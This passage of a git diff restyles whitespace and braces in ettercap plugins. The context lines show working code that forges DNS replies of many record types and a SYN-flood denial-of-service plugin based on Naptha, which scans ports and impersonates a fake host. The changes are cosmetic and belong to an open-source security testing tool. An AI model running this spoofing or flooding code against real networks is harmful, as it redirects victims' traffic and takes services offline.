a negative-cache reply */ @@ -619,7 +610,6 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ * instead of spoofing a IP address */ is_negative = true; - } else { /* allocate memory for the answer */ @@ -645,8 +635,8 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", + + USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } } /* AAAA */ @@ -655,13 +645,13 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ /* it is an MX query (mail to ip) */ if (type == ns_t_mx || type == ns_t_any) { - + /* found the reply in the list */ if (get_spoofed_mx(name, &reply, &ttl) != E_SUCCESS) { - /* in case of ANY we have to proceed with the next section */ - if (type == ns_t_any) + /* in case of ANY we have to proceed with the next section */ + if (type == ns_t_any) goto any_wins; - else + else return -E_NOTFOUND; } @@ -680,9 +670,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x09", 2); /* datalen */ memcpy(p + 12, "\x00\x0a", 2); /* preference (highest) */ - /* - * add "mail." in front of the domain and - * resolve it in the additional record + /* + * add "mail." in front of the domain and + * resolve it in the additional record * (here `mxoffset' is pointing at) */ memcpy(p + 14, "\x04mail\xc0\x0c", 7); /* mx record */ @@ -694,7 +684,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - + /* add the additional record for the spoofed IPv4 address*/ if (ntohs(reply->addr_type) == AF_INET) { @@ -726,10 +716,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 11, &dns_ttl, 4); /* TTL */ memcpy(p + 15, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 17, reply); /* data */ - } - else { - /* IP address not valid - abort */ - return -E_INVALID; + } else { + /* IP address not valid - abort */ + return -E_INVALID; } /* insert the answer into the list */ @@ -739,10 +728,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&additional_list, rr, next); *dns_len += len; *n_addi += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", - type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); + USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", + type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } /* MX */ any_wins: @@ -752,16 +740,16 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ /* found the reply in the list */ if (get_spoofed_wins(name, &reply, &ttl) != E_SUCCESS) { - /* in case of ANY we have to proceed with the next section */ - if (type == ns_t_any) + /* in case of ANY we have to proceed with the next section */ + if (type == ns_t_any) goto any_txt; - else + else return -E_NOTFOUND; } if (ntohs(reply->addr_type) != AF_INET) /* XXX - didn't find any documentation about this standard - * and if type WINS RR only supports IPv4 + * and if type WINS RR only supports IPv4 */ return -E_INVALID; @@ -779,7 +767,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ memcpy(p + 10, "\x00\x04", 2); /* datalen */ - ip_addr_cpy((u_char*)p + 12, reply); /* data */ + ip_addr_cpy((u_char *)p + 12, reply); /* data */ /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); @@ -788,10 +776,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", - type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); + USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", + type_str(type), name, ip_addr_ntoa(reply, tmp), ttl); } any_txt: @@ -823,7 +810,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ dns_ttl = htonl(ttl); /* prepare the answer */ - memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ + memcpy(p, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 2, "\x00\x10", 2); /* type TXT */ memcpy(p + 4, "\x00\x01", 2); /* class IN */ memcpy(p + 6, &dns_ttl, 4); /* TTL */ @@ -838,19 +825,19 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to \"%s\" TTL [%u s]\n", + + USER_MSG("dns_spoof: %s [%s] spoofed to \"%s\" TTL [%u s]\n", type_str(type), name, txt, ttl); } /* TXT */ /* it is a reverse query (ip to name) */ if (type == ns_t_ptr) { - + u_char *answer, *p; char *a; u_char buf[256]; int rlen; - + /* found the reply in the list */ if (get_spoofed_ptr(name, &a, &ttl) != E_SUCCESS) return -E_NOTFOUND; @@ -860,7 +847,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ /* allocate memory for the answer */ len = 12 + rlen; - SAFE_CALLOC(answer, len, sizeof(u_char)); + SAFE_CALLOC(answer, len, sizeof(u_char)); p = answer; /* convert to network-byte order */ @@ -884,10 +871,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", - type_str(type), name, a, ttl); - + + USER_MSG("dns_spoof: %s [%s] spoofed to [%s] TTL [%u s]\n", + type_str(type), name, a, ttl); } /* PTR */ /* it is a SRV query (service discovery) */ @@ -897,9 +883,8 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ u_int16 port; int dn_offset = 0; - /* found the reply in the list */ - if (get_spoofed_srv(name, &reply, &port, &ttl) != E_SUCCESS) + if (get_spoofed_srv(name, &reply, &port, &ttl) != E_SUCCESS) return -E_NOTFOUND; /* allocate memory for the answer */ @@ -911,8 +896,8 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ * to refer the target to a proper domain name, we have to strip the * service and protocol label from the questioned domain name */ - dn_offset += *(data+dn_offset) + 1; /* first label (e.g. _ldap)*/ - dn_offset += *(data+dn_offset) + 1; /* second label (e.g. _tcp) */ + dn_offset += *(data + dn_offset) + 1; /* first label (e.g. _ldap)*/ + dn_offset += *(data + dn_offset) + 1; /* second label (e.g. _tcp) */ /* avoid offset overrun */ if (dn_offset + 12 > 255) { @@ -933,17 +918,17 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 10, "\x00\x0c", 2); /* data length */ memcpy(p + 12, "\x00\x00", 2); /* priority */ memcpy(p + 14, "\x00\x00", 2); /* weight */ - p+=16; - NS_PUT16(port, p); /* port */ - p-=18; - /* + p += 16; + NS_PUT16(port, p); /* port */ + p -= 18; + /* * add "srv." in front of the stripped domain - * name and resolve it in the additional + * name and resolve it in the additional * record (here `srvoffset' is pointing at) */ memcpy(p + 18, "\x03srv", 4); /* target */ memcpy(p + 22, tgtoffset, 2); /* compressed name offset */ - + /* insert the answer into the list */ SAFE_CALLOC(rr, 1, sizeof(struct rr_entry)); rr->data = answer; @@ -951,7 +936,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&answer_list, rr, next); *dns_len += len; *n_answ += 1; - + /* add the additional record for the spoofed IPv4 address */ if (ntohs(reply->addr_type) == AF_INET) { @@ -984,10 +969,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 10, &dns_ttl, 4); /* TTL */ memcpy(p + 14, "\x00\x10", 2); /* datalen */ ip_addr_cpy(p + 16, reply); /* data */ - } - else { - /* IP address not valid - abort */ - return -E_INVALID; + } else { + /* IP address not valid - abort */ + return -E_INVALID; } /* insert the answer into the list */ @@ -997,9 +981,9 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&additional_list, rr, next); *dns_len += len; *n_addi += 1; - - USER_MSG("dns_spoof: %s [%s] spoofed to [%s:%d] TTL [%u s]\n", - type_str(type), name, ip_addr_ntoa(reply, tmp), port, ttl); + + USER_MSG("dns_spoof: %s [%s] spoofed to [%s:%d] TTL [%u s]\n", + type_str(type), name, ip_addr_ntoa(reply, tmp), port, ttl); } /* SRV */ if (is_negative && type != ns_t_any) { @@ -1019,8 +1003,8 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ memcpy(p + 6, &dns_ttl, 4); /* TTL (seconds) */ memcpy(p + 10, "\x00\x22", 2); /* datalen */ memcpy(p + 12, "\x03ns1", 4); /* primary server */ - memcpy(p + 16, "\xc0\x0c", 2); /* compressed name offeset */ - memcpy(p + 18, "\x05""abuse", 6); /* mailbox */ + memcpy(p + 16, "\xc0\x0c", 2); /* compressed name offeset */ + memcpy(p + 18, "\x05" "abuse", 6); /* mailbox */ memcpy(p + 24, "\xc0\x0c", 2); /* compressed name offset */ memcpy(p + 26, "\x51\x79\x57\xf5", 4); /* serial */ memcpy(p + 30, "\x00\x00\x0e\x10", 4); /* refresh interval */ @@ -1035,7 +1019,7 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ SLIST_INSERT_HEAD(&authority_list, rr, next); *dns_len += len; *n_auth += 1; - + USER_MSG("dns_spoof: negative cache spoofed for [%s] type %s, TTL [%u s]\n", name, type_str(type), ttl); } /* SOA */ @@ -1044,7 +1028,6 @@ static int prepare_dns_reply(u_char *data, const char *name, int type, int *dns_ return E_SUCCESS; } - /* * return the ip address for the name - IPv4 */ @@ -1058,11 +1041,11 @@ static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl) /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } @@ -1071,19 +1054,19 @@ static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl) */ static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl) { - struct dns_spoof_entry *d; - - SLIST_FOREACH(d, &dns_spoof_head, next) { - if (d->type == ns_t_aaaa && match_pattern(a, d->name)) { - /* return the pointer to the struct */ - *ip = &d->ip; - *ttl = d->ttl; - - return E_SUCCESS; - } - } - - return -E_NOTFOUND; + struct dns_spoof_entry *d; + + SLIST_FOREACH(d, &dns_spoof_head, next) { + if (d->type == ns_t_aaaa && match_pattern(a, d->name)) { + /* return the pointer to the struct */ + *ip = &d->ip; + *ttl = d->ttl; + + return E_SUCCESS; + } + } + + return -E_NOTFOUND; } /* @@ -1106,8 +1089,8 @@ static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl) return -E_NOTFOUND; } -/* - * return the name for the ip address +/* + * return the name for the ip address */ static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl) { @@ -1127,68 +1110,65 @@ static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl) /* Check the top level domain of the PTR query - IPv4 */ if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) { - /* parses the arpa format */ - if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", - &oct[3], &oct[2], &oct[1], &oct[0]) != 4) - return -E_INVALID; - - /* collect octets */ - ipv4[0] = oct[0] & 0xff; - ipv4[1] = oct[1] & 0xff; - ipv4[2] = oct[2] & 0xff; - ipv4[3] = oct[3] & 0xff; - + /* parses the arpa format */ + if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa", + &oct[3], &oct[2], &oct[1], &oct[0]) != 4) + return -E_INVALID; - /* init the ip_addr structure */ - ip_addr_init(&ptr, AF_INET, ipv4); + /* collect octets */ + ipv4[0] = oct[0] & 0xff; + ipv4[1] = oct[1] & 0xff; + ipv4[2] = oct[2] & 0xff; + ipv4[3] = oct[3] & 0xff; + /* init the ip_addr structure */ + ip_addr_init(&ptr, AF_INET, ipv4); } /* check the top level domain of the PTR query - IPv6 */ else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) { - /* parses the ip6.arpa format for IPv6 reverse pointer */ - if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." - "%1x.%1x.%1x.%1x.%1x.ip6.arpa", - &oct[31], &oct[30], &oct[29], &oct[28], - &oct[27], &oct[26], &oct[25], &oct[24], - &oct[23], &oct[22], &oct[21], &oct[20], - &oct[19], &oct[18], &oct[17], &oct[16], - &oct[15], &oct[14], &oct[13], &oct[12], - &oct[11], &oct[10], &oct[9], &oct[8], - &oct[7], &oct[6], &oct[5], &oct[4], - &oct[3], &oct[2], &oct[1], &oct[0]) != 32) { - return -E_INVALID; - } - - /* collect octets */ - ipv6[0] = (oct[0] << 4) | oct[1]; - ipv6[1] = (oct[2] << 4) | oct[3]; - ipv6[2] = (oct[4] << 4) | oct[5]; - ipv6[3] = (oct[6] << 4) | oct[7]; - ipv6[4] = (oct[8] << 4) | oct[9]; - ipv6[5] = (oct[10] << 4) | oct[11]; - ipv6[6] = (oct[12] << 4) | oct[13]; - ipv6[7] = (oct[14] << 4) | oct[15]; - ipv6[8] = (oct[16] << 4) | oct[17]; - ipv6[9] = (oct[18] << 4) | oct[19]; - ipv6[10] = (oct[20] << 4) | oct[21]; - ipv6[11] = (oct[22] << 4) | oct[23]; - ipv6[12] = (oct[24] << 4) | oct[25]; - ipv6[13] = (oct[26] << 4) | oct[27]; - ipv6[14] = (oct[28] << 4) | oct[29]; - ipv6[15] = (oct[30] << 4) | oct[31]; - - /* init the ip_addr structure */ - ip_addr_init(&ptr, AF_INET6, ipv6); + /* parses the ip6.arpa format for IPv6 reverse pointer */ + if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x." + "%1x.%1x.%1x.%1x.%1x.ip6.arpa", + &oct[31], &oct[30], &oct[29], &oct[28], + &oct[27], &oct[26], &oct[25], &oct[24], + &oct[23], &oct[22], &oct[21], &oct[20], + &oct[19], &oct[18], &oct[17], &oct[16], + &oct[15], &oct[14], &oct[13], &oct[12], + &oct[11], &oct[10], &oct[9], &oct[8], + &oct[7], &oct[6], &oct[5], &oct[4], + &oct[3], &oct[2], &oct[1], &oct[0]) != 32) + { + return -E_INVALID; + } + /* collect octets */ + ipv6[0] = (oct[0] << 4) | oct[1]; + ipv6[1] = (oct[2] << 4) | oct[3]; + ipv6[2] = (oct[4] << 4) | oct[5]; + ipv6[3] = (oct[6] << 4) | oct[7]; + ipv6[4] = (oct[8] << 4) | oct[9]; + ipv6[5] = (oct[10] << 4) | oct[11]; + ipv6[6] = (oct[12] << 4) | oct[13]; + ipv6[7] = (oct[14] << 4) | oct[15]; + ipv6[8] = (oct[16] << 4) | oct[17]; + ipv6[9] = (oct[18] << 4) | oct[19]; + ipv6[10] = (oct[20] << 4) | oct[21]; + ipv6[11] = (oct[22] << 4) | oct[23]; + ipv6[12] = (oct[24] << 4) | oct[25]; + ipv6[13] = (oct[26] << 4) | oct[27]; + ipv6[14] = (oct[28] << 4) | oct[29]; + ipv6[15] = (oct[30] << 4) | oct[31]; + + /* init the ip_addr structure */ + ip_addr_init(&ptr, AF_INET6, ipv6); } - /* search in the list */ SLIST_FOREACH(d, &dns_spoof_head, next) { - /* - * we cannot return whildcards in the reply, + /* + * we cannot return whildcards in the reply, * so skip the entry if the name contains a '*' */ if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) { @@ -1196,11 +1176,11 @@ static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl) /* return the pointer to the name */ *a = d->name; *ttl = d->ttl; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } @@ -1217,11 +1197,11 @@ static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl) /* return the pointer to the struct */ *ip = &d->ip; *ttl = d->ttl; - + return E_SUCCESS; } } - + return -E_NOTFOUND; } @@ -1250,32 +1230,32 @@ static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl) */ static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl) { - struct dns_spoof_entry *d; + struct dns_spoof_entry *d; - SLIST_FOREACH(d, &dns_spoof_head, next) { - if (d->type == ns_t_srv && match_pattern(name, d->name)) { - /* return the pointer to the struct */ - *ip = &d->ip; - *port = d->port; - *ttl = d->ttl; + SLIST_FOREACH(d, &dns_spoof_head, next) { + if (d->type == ns_t_srv && match_pattern(name, d->name)) { + /* return the pointer to the struct */ + *ip = &d->ip; + *port = d->port; + *ttl = d->ttl; - return E_SUCCESS; - } - } + return E_SUCCESS; + } + } - return -E_NOTFOUND; + return -E_NOTFOUND; } -char *type_str (int type) +char *type_str(int type) { - return (type == ns_t_a ? "A" : - type == ns_t_aaaa ? "AAAA" : - type == ns_t_ptr ? "PTR" : - type == ns_t_mx ? "MX" : - type == ns_t_wins ? "WINS" : - type == ns_t_srv ? "SRV" : - type == ns_t_any ? "ANY" : - type == ns_t_txt ? "TXT" : "??"); + return type == ns_t_a ? "A" : + type == ns_t_aaaa ? "AAAA" : + type == ns_t_ptr ? "PTR" : + type == ns_t_mx ? "MX" : + type == ns_t_wins ? "WINS" : + type == ns_t_srv ? "SRV" : + type == ns_t_any ? "ANY" : + type == ns_t_txt ? "TXT" : "??"; } static void dns_spoof_dump(void) @@ -1284,43 +1264,34 @@ static void dns_spoof_dump(void) char tmp[MAX_ASCII_ADDR_LEN]; /* Unused variable */ - (void) tmp; + (void)tmp; DEBUG_MSG("dns_spoof entries:"); SLIST_FOREACH(d, &dns_spoof_head, next) { if (d->type == ns_t_txt) { DEBUG_MSG(" %s -> \"%s\", type %s, TTL %u", d->name, d->text, type_str(d->type), d->ttl); - } - else if (ntohs(d->ip.addr_type) == AF_INET) - { + } else if (ntohs(d->ip.addr_type) == AF_INET) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl); - } - else { + } else { DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv4", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl); } - } - else if (ntohs(d->ip.addr_type) == AF_INET6) - { + } else if (ntohs(d->ip.addr_type) == AF_INET6) { if (d->type == ns_t_srv) { DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl); - } - else { + } else { DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv6", d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl); } - } - else - { - DEBUG_MSG(" %s -> ??", d->name); + } else { + DEBUG_MSG(" %s -> ??", d->name); } } } - + /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/dos_attack/dos_attack.c b/plug-ins/dos_attack/dos_attack.c index 6a6c0c5ff..34b1374a6 100644 --- a/plug-ins/dos_attack/dos_attack.c +++ b/plug-ins/dos_attack/dos_attack.c @@ -1,30 +1,29 @@ /* - dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha) - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * dos_attack -- ettercap plugin -- Run a D.O.S. attack (based on Naptha) + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ #include #include -#include +#include #include #include @@ -45,53 +44,52 @@ struct port_list { SLIST_ENTRY(port_list) next; }; - /* globals */ static struct ip_addr fake_host; static struct ip_addr victim_host; SLIST_HEAD(, port_list) port_table; /* plugin operations */ -struct plugin_ops dos_attack_ops = { +struct plugin_ops dos_attack_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "dos_attack", - /* a short description of the plugin (max 50 chars) */ - .info = "Run a d.o.s. attack against an IP address", - /* the plugin version. */ - .version = "1.0", + .name = "dos_attack", + /* a short description of the plugin (max 50 chars) */ + .info = "Run a d.o.s. attack against an IP address", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &dos_attack_init, - /* deactivation function */ - .fini = &dos_attack_fini, + .init = &dos_attack_init, + /* deactivation function */ + .fini = &dos_attack_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &dos_attack_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int dos_attack_init(void *dummy) -{ +static int dos_attack_init(void *dummy) +{ char dos_addr[MAX_ASCII_ADDR_LEN]; char unused_addr[MAX_ASCII_ADDR_LEN]; struct port_list *p; - + /* variable not used */ - (void) dummy; + (void)dummy; /* It doesn't work if unoffensive */ if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("dos_attack: plugin doesn't work in UNOFFENSIVE mode\n"); return PLUGIN_FINISHED; } - + /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; @@ -110,7 +108,7 @@ static int dos_attack_init(void *dummy) return PLUGIN_FINISHED; } - if(victim_host.addr_type != fake_host.addr_type) { + if (victim_host.addr_type != fake_host.addr_type) { INSTANT_USER_MSG("dos_attack: Address' families don't match.\n"); return PLUGIN_FINISHED; } @@ -125,10 +123,10 @@ static int dos_attack_init(void *dummy) } /* Add the hook to "create" the fake host */ - if(ntohs(fake_host.addr_type) == AF_INET) + if (ntohs(fake_host.addr_type) == AF_INET) hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); #ifdef WITH_IPV6 - else if(ntohs(fake_host.addr_type) == AF_INET6) + else if (ntohs(fake_host.addr_type) == AF_INET6) hook_add(HOOK_PACKET_ICMP6_NSOL, &parse_icmp6); #endif @@ -141,33 +139,32 @@ static int dos_attack_init(void *dummy) return PLUGIN_RUNNING; } - -static int dos_attack_fini(void *dummy) +static int dos_attack_fini(void *dummy) { pthread_t pid; /* variable not used */ - (void) dummy; + (void)dummy; /* Remove the hooks */ hook_del(HOOK_PACKET_ARP_RQ, &parse_arp); hook_del(HOOK_PACKET_TCP, &parse_tcp); - + pid = ec_thread_getpid("golem"); - + /* the thread is active or not ? */ if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); INSTANT_USER_MSG("dos_attack: plugin terminated...\n"); - return PLUGIN_FINISHED; + return PLUGIN_FINISHED; } /*********************************************************/ -/* - * This thread first sends SYN packets to some ports (a little port scan) +/* + * This thread first sends SYN packets to some ports (a little port scan) * then starts to flood active ports with other SYN packets. */ EC_THREAD_FUNC(syn_flooder) @@ -177,36 +174,36 @@ EC_THREAD_FUNC(syn_flooder) struct port_list *p; /* variable not used */ - (void) EC_THREAD_PARAM; + (void)EC_THREAD_PARAM; /* init the thread and wait for start up */ ec_thread_init(); - + /* First "scan" ports from 1 to 1024 */ - for (dport=1; dport<1024; dport++) { + for (dport = 1; dport < 1024; dport++) { send_tcp(&fake_host, &victim_host, sport++, htons(dport), seq++, 0, TH_SYN, NULL, 0); ec_usleep(1000); } INSTANT_USER_MSG("dos_attack: Starting attack...\n"); - + /* Continue flooding open ports */ LOOP { CANCELLATION_POINT(); - SLIST_FOREACH(p, &port_table, next) - send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0); - + SLIST_FOREACH(p, &port_table, next) + send_tcp(&fake_host, &victim_host, sport++, p->port, seq++, 0, TH_SYN, NULL, 0); + ec_usleep(1000); } - + return NULL; } /* Parse the arp packets and reply for the fake host */ static void parse_arp(struct packet_object *po) { - if (!ip_addr_cmp(&fake_host, &po->L3.dst)) + if (!ip_addr_cmp(&fake_host, &po->L3.dst)) send_arp(ARPOP_REPLY, &po->L3.dst, GBL_IFACE->mac, &po->L3.src, po->L2.src); } @@ -215,42 +212,42 @@ static void parse_icmp6(struct packet_object *po) { struct ip_addr ip; ip_addr_init(&ip, AF_INET6, po->L4.options); - if(!ip_addr_cmp(&fake_host, &ip)) + if (!ip_addr_cmp(&fake_host, &ip)) send_L2_icmp6_nadv(&fake_host, &po->L3.src, GBL_IFACE->mac, 0, po->L2.src); } + #endif -/* - * Populate the open port list and reply to +/* + * Populate the open port list and reply to * SYN-ACK packets from victim host */ static void parse_tcp(struct packet_object *po) { struct port_list *p; - + /* Check if it's a reply to our SYN flooding */ if (ip_addr_cmp(&fake_host, &po->L3.dst) || - ip_addr_cmp(&victim_host, &po->L3.src) || - po->L4.flags != (TH_SYN | TH_ACK)) - return; - + ip_addr_cmp(&victim_host, &po->L3.src) || + po->L4.flags != (TH_SYN | TH_ACK)) + return; + /* Complete the handshake with an ACK */ - send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl( ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0); - + send_tcp(&fake_host, &victim_host, po->L4.dst, po->L4.src, po->L4.ack, htonl(ntohl(po->L4.seq) + 1), TH_ACK, NULL, 0); + /* Check if the port is already in the "open" list... */ - SLIST_FOREACH(p, &port_table, next) - if (p->port == po->L4.src) - return; - + SLIST_FOREACH(p, &port_table, next) + if (p->port == po->L4.src) + return; + /* If not...put it in */ SAFE_CALLOC(p, 1, sizeof(struct port_list)); p->port = po->L4.src; SLIST_INSERT_HEAD(&port_table, p, next); - + INSTANT_USER_MSG("dos_attack: Port %d added\n", ntohs(p->port)); } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/dummy/dummy.c b/plug-ins/dummy/dummy.c index 675fade93..9a265b9f0 100644 --- a/plug-ins/dummy/dummy.c +++ b/plug-ins/dummy/dummy.c @@ -1,25 +1,24 @@ /* - dummy -- ettercap plugin -- it does nothig ! - only demostrates how to write a plugin ! - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * dummy -- ettercap plugin -- it does nothig ! + * only demostrates how to write a plugin ! + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -29,9 +28,9 @@ /* prototypes is required for -Wmissing-prototypes */ -/* +/* * this function must be present. - * it is the entry point of the plugin + * it is the entry point of the plugin */ int plugin_load(void *); @@ -39,28 +38,27 @@ int plugin_load(void *); static int dummy_init(void *); static int dummy_fini(void *); - /* plugin operations */ -struct plugin_ops dummy_ops = { +struct plugin_ops dummy_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "dummy", - /* a short description of the plugin (max 50 chars) */ - .info = "A plugin template (for developers)", - /* the plugin version. */ - .version = "3.0", + .name = "dummy", + /* a short description of the plugin (max 50 chars) */ + .info = "A plugin template (for developers)", + /* the plugin version. */ + .version = "3.0", /* activation function */ - .init = &dummy_init, - /* deactivation function */ - .fini = &dummy_fini, + .init = &dummy_init, + /* deactivation function */ + .fini = &dummy_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { DEBUG_MSG("dummy plugin load function"); /* @@ -74,11 +72,11 @@ int plugin_load(void *handle) /*********************************************************/ -static int dummy_init(void *dummy) +static int dummy_init(void *dummy) { /* the control is given to this function * and ettercap is 